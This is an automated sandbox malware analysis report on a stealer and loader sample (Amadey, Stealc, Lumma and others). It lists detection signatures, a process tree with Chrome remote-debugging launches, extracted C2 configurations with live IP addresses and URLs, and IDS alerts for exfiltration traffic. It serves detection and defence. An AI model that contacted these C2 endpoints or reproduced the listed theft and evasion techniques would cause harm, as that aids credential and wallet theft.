Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1565611
MD5:	02f94f35b367a81b399909dcb6405ae0
SHA1:	e7b63473a5bd2328a39c69b9e1e52b5252c210c2
SHA256:	0aa6f768cc1ec17ce71f6cc67a83832eb772f7e5511f61717f4ac242a87e5c19
Tags:	exeuser-Bitsight
Infos:

Detection

Amadey, Cryptbot, LummaC Stealer, Nymaim, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Cryptbot

Yara detected LummaC Stealer

Yara detected Nymaim

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Creates multiple autostart registry keys

Drops PE files to the document folder of the user

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Leaks process information

Machine Learning detection for dropped file

Machine Learning detection for sample

PE file contains section with special chars

Potentially malicious time measurement code found

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

AV process strings found (often used to terminate AV products)

Checks for debuggers (devices)

Checks if the current process is being debugged

Connects to many different domains

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for user specific document files

Sigma detected: Browser Started with Remote Debugging

Sigma detected: CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

file.exe (PID: 6964 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 02F94F35B367A81B399909DCB6405AE0)

chrome.exe (PID: 5800 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 2908 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2256 --field-trial-handle=2180,i,12075969876713685064,4288485122995697307,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cmd.exe (PID: 7800 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\FCFBFHIEBK.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7784 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

FCFBFHIEBK.exe (PID: 7840 cmdline: "C:\Users\user\Documents\FCFBFHIEBK.exe" MD5: 48BBAE0E073AB8356B2A67806A19EDCC)

skotes.exe (PID: 736 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 48BBAE0E073AB8356B2A67806A19EDCC)

skotes.exe (PID: 7672 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 48BBAE0E073AB8356B2A67806A19EDCC)

skotes.exe (PID: 7408 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 48BBAE0E073AB8356B2A67806A19EDCC)

67d914dff5.exe (PID: 1904 cmdline: "C:\Users\user\AppData\Local\Temp\1010570001\67d914dff5.exe" MD5: 904BBDF992562F081562D83AC2966973)

chrome.exe (PID: 5272 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 5916 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2444 --field-trial-handle=2332,i,12861390567964963251,12216732073079238039,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

adebfeb535.exe (PID: 8064 cmdline: "C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe" MD5: 97E06ACDD95DB30F5421CD163F25EC93)

bb0adee266.exe (PID: 2564 cmdline: "C:\Users\user\AppData\Local\Temp\1010572001\bb0adee266.exe" MD5: D3A6B0FC90AA053987D7565F37E8E5FA)

39c228201d.exe (PID: 5224 cmdline: "C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe" MD5: 7FAF7FC154BF9F008BFA3F8FDAF989E0)

d88d6966da.exe (PID: 7844 cmdline: "C:\Users\user\AppData\Local\Temp\1010574001\d88d6966da.exe" MD5: 02F94F35B367A81B399909DCB6405AE0)

39c228201d.exe (PID: 7892 cmdline: "C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe" MD5: 7FAF7FC154BF9F008BFA3F8FDAF989E0)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
CryptBot	A typical infostealer, capable of obtaining credentials for browsers, crypto currency wallets, browser cookies, credit cards, and creates screenshots of the infected system. All stolen data is bundled into a zip-file that is uploaded to the c2.	No Attribution	https://any.run/cybersecurity-blog/cryptbot-infostealer-malware-analysis/ https://asec.ahnlab.com/en/24423/ https://asec.ahnlab.com/en/26052/ https://asec.ahnlab.com/en/31683/ https://asec.ahnlab.com/en/31802/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptbot

Name	Description	Attribution	Blogpost URLs	Link
Nymaim	Nymaim is a trojan downloader. It downloads (and runs) other malware on affected systems and was one of the primary malware families hosted on Avalanche. Nymaim is different in that it displays a localized lockscreen while it downloads additional malware. Nymaim is usually delivered by exploit kits and malvertising.	No Attribution	https://arielkoren.com/blog/2016/11/02/nymaim-deep-technical-dive-adventures-in-evasive-malware/ https://bitbucket.org/daniel_plohmann/idapatchwork https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/ https://blog.talosintelligence.com/goznym/ https://github.com/coldshell/Malware-Scripts/tree/master/Nymaim	https://malpedia.caad.fkie.fraunhofer.de/details/win.nymaim

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Threatname: Nymaim

{"C2 addresses": ["185.156.72.65", "185.156.72.65", "185.156.72.65"]}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_Cryptbot	Yara detected Cryptbot	Joe Security
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000009.00000003.2095183525.0000000004F30000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.1682475853.0000000004D30000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000A.00000002.2153405873.0000000000C71000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2130184923.00000000008DE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000012.00000002.2930941687.0000000000391000.00000040.00000001.01000000.00000012.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000C.00000002.3253136723.0000000000C71000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2130548114.0000000000B61000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000012.00000003.2878391361.0000000005140000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000F.00000002.3253380575.0000000000400000.00000040.00000001.01000000.0000000F.sdmp	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
0000000F.00000003.2581320069.0000000004A30000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
00000014.00000002.3276938516.0000000001540000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000012.00000002.2933206757.000000000146E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000C.00000003.2317166328.0000000005460000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000F.00000002.3295158061.0000000004940000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
0000000F.00000002.3295158061.0000000004940000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
0000000F.00000002.3292535145.0000000004790000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x8436:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000000B.00000002.2166561080.0000000000C71000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000009.00000002.2135538626.0000000000791000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000B.00000003.2125859235.0000000004EE0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000A.00000003.2112173994.0000000004BF0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: file.exe PID: 6964	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 6964	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 6964	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 6964	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: d88d6966da.exe PID: 7844	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: d88d6966da.exe PID: 7844	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 39c228201d.exe PID: 7892	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 22 entries

Unpacked PEs

Source	Rule	Description	Author
15.2.adebfeb535.exe.4940e67.1.raw.unpack	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
15.3.adebfeb535.exe.4a30000.0.raw.unpack	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
15.2.adebfeb535.exe.400000.0.unpack	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
15.2.adebfeb535.exe.400000.0.raw.unpack	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
10.2.skotes.exe.c70000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
9.2.FCFBFHIEBK.exe.790000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
11.2.skotes.exe.c70000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
12.2.skotes.exe.c70000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Click to see the 3 entries

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 7408, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\39c228201d.exe

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 6964, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", ProcessId: 5800, ProcessName: chrome.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 7408, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\39c228201d.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-30T09:45:49.537514+0100	2028371	3	Unknown Traffic	192.168.2.4	49888	172.67.165.166	443	TCP
2024-11-30T09:45:51.650997+0100	2028371	3	Unknown Traffic	192.168.2.4	49895	172.67.165.166	443	TCP
2024-11-30T09:45:54.084379+0100	2028371	3	Unknown Traffic	192.168.2.4	49903	172.67.165.166	443	TCP
2024-11-30T09:45:57.769963+0100	2028371	3	Unknown Traffic	192.168.2.4	49912	172.67.165.166	443	TCP
2024-11-30T09:46:00.473469+0100	2028371	3	Unknown Traffic	192.168.2.4	49924	172.67.165.166	443	TCP
2024-11-30T09:46:03.776939+0100	2028371	3	Unknown Traffic	192.168.2.4	49942	172.67.165.166	443	TCP
2024-11-30T09:46:04.389964+0100	2028371	3	Unknown Traffic	192.168.2.4	49943	172.67.165.166	443	TCP
2024-11-30T09:46:05.920008+0100	2028371	3	Unknown Traffic	192.168.2.4	49947	172.67.165.166	443	TCP
2024-11-30T09:46:07.118545+0100	2028371	3	Unknown Traffic	192.168.2.4	49951	172.67.165.166	443	TCP
2024-11-30T09:46:16.112413+0100	2028371	3	Unknown Traffic	192.168.2.4	50010	172.67.165.166	443	TCP
2024-11-30T09:46:27.635177+0100	2028371	3	Unknown Traffic	192.168.2.4	50039	172.67.165.166	443	TCP
2024-11-30T09:46:29.895292+0100	2028371	3	Unknown Traffic	192.168.2.4	50045	172.67.165.166	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-30T09:45:50.344353+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49888	172.67.165.166	443	TCP
2024-11-30T09:45:52.442386+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49895	172.67.165.166	443	TCP
2024-11-30T09:46:04.591648+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49942	172.67.165.166	443	TCP
2024-11-30T09:46:06.993275+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49947	172.67.165.166	443	TCP
2024-11-30T09:46:28.298253+0100	2054653	1	A Network Trojan was detected	192.168.2.4	50039	172.67.165.166	443	TCP
2024-11-30T09:46:31.003121+0100	2054653	1	A Network Trojan was detected	192.168.2.4	50045	172.67.165.166	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-30T09:45:50.344353+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49888	172.67.165.166	443	TCP
2024-11-30T09:46:04.591648+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49942	172.67.165.166	443	TCP
2024-11-30T09:46:28.298253+0100	2049836	1	A Network Trojan was detected	192.168.2.4	50039	172.67.165.166	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-30T09:45:52.442386+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49895	172.67.165.166	443	TCP
2024-11-30T09:46:06.993275+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49947	172.67.165.166	443	TCP
2024-11-30T09:46:31.003121+0100	2049812	1	A Network Trojan was detected	192.168.2.4	50045	172.67.165.166	443	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-30T09:45:20.570314+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49816	185.215.113.43	80	TCP
2024-11-30T09:45:29.472190+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49840	185.215.113.43	80	TCP
2024-11-30T09:45:42.454052+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49871	185.215.113.43	80	TCP
2024-11-30T09:45:50.859962+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49891	185.215.113.43	80	TCP
2024-11-30T09:45:59.522549+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49919	185.215.113.43	80	TCP
2024-11-30T09:46:07.548744+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49954	185.215.113.43	80	TCP
2024-11-30T09:46:18.159120+0100	2044696	1	A Network Trojan was detected	192.168.2.4	50013	185.215.113.43	80	TCP

ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-30T09:45:55.131864+0100	2054350	1	A Network Trojan was detected	192.168.2.4	49905	34.118.84.150	80	TCP
2024-11-30T09:45:56.957476+0100	2054350	1	A Network Trojan was detected	192.168.2.4	49915	34.118.84.150	80	TCP
2024-11-30T09:46:07.053132+0100	2054350	1	A Network Trojan was detected	192.168.2.4	49950	34.118.84.150	80	TCP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-30T09:44:01.143497+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.4	49730	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-30T09:44:01.021760+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-30T09:44:01.473579+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-30T09:44:03.029943+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-30T09:44:01.600812+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.4	49730	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-30T09:45:56.199917+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49903	172.67.165.166	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-30T09:44:00.570968+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.206	80	TCP
2024-11-30T09:46:00.607623+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49920	185.215.113.206	80	TCP
2024-11-30T09:46:11.642646+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49983	185.215.113.206	80	TCP
2024-11-30T09:46:37.241150+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	50064	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-30T09:45:04.768774+0100	2856147	1	A Network Trojan was detected	192.168.2.4	49778	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-30T09:45:19.172597+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.4	49784	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-30T09:45:09.334476+0100	2803305	3	Unknown Traffic	192.168.2.4	49790	31.41.244.11	80	TCP
2024-11-30T09:45:22.134207+0100	2803305	3	Unknown Traffic	192.168.2.4	49823	31.41.244.11	80	TCP
2024-11-30T09:45:31.015801+0100	2803305	3	Unknown Traffic	192.168.2.4	49846	31.41.244.11	80	TCP
2024-11-30T09:45:43.931144+0100	2803305	3	Unknown Traffic	192.168.2.4	49874	185.215.113.16	80	TCP
2024-11-30T09:45:52.416316+0100	2803305	3	Unknown Traffic	192.168.2.4	49898	185.215.113.16	80	TCP
2024-11-30T09:46:01.682070+0100	2803305	3	Unknown Traffic	192.168.2.4	49927	185.215.113.16	80	TCP
2024-11-30T09:46:09.116848+0100	2803305	3	Unknown Traffic	192.168.2.4	49960	185.215.113.16	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-30T09:44:03.778603+0100	2803304	3	Unknown Traffic	192.168.2.4	49730	185.215.113.206	80	TCP
2024-11-30T09:44:18.913217+0100	2803304	3	Unknown Traffic	192.168.2.4	49749	185.215.113.206	80	TCP
2024-11-30T09:44:20.896450+0100	2803304	3	Unknown Traffic	192.168.2.4	49749	185.215.113.206	80	TCP
2024-11-30T09:44:22.309867+0100	2803304	3	Unknown Traffic	192.168.2.4	49749	185.215.113.206	80	TCP
2024-11-30T09:44:23.751628+0100	2803304	3	Unknown Traffic	192.168.2.4	49749	185.215.113.206	80	TCP
2024-11-30T09:44:27.504552+0100	2803304	3	Unknown Traffic	192.168.2.4	49749	185.215.113.206	80	TCP
2024-11-30T09:44:28.613560+0100	2803304	3	Unknown Traffic	192.168.2.4	49749	185.215.113.206	80	TCP
2024-11-30T09:44:34.550557+0100	2803304	3	Unknown Traffic	192.168.2.4	49759	185.215.113.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.43/Zu7JuNko/index.php0576001

Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\1010570001\67d914dff5.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1010572001\bb0adee266.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1010574001\d88d6966da.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
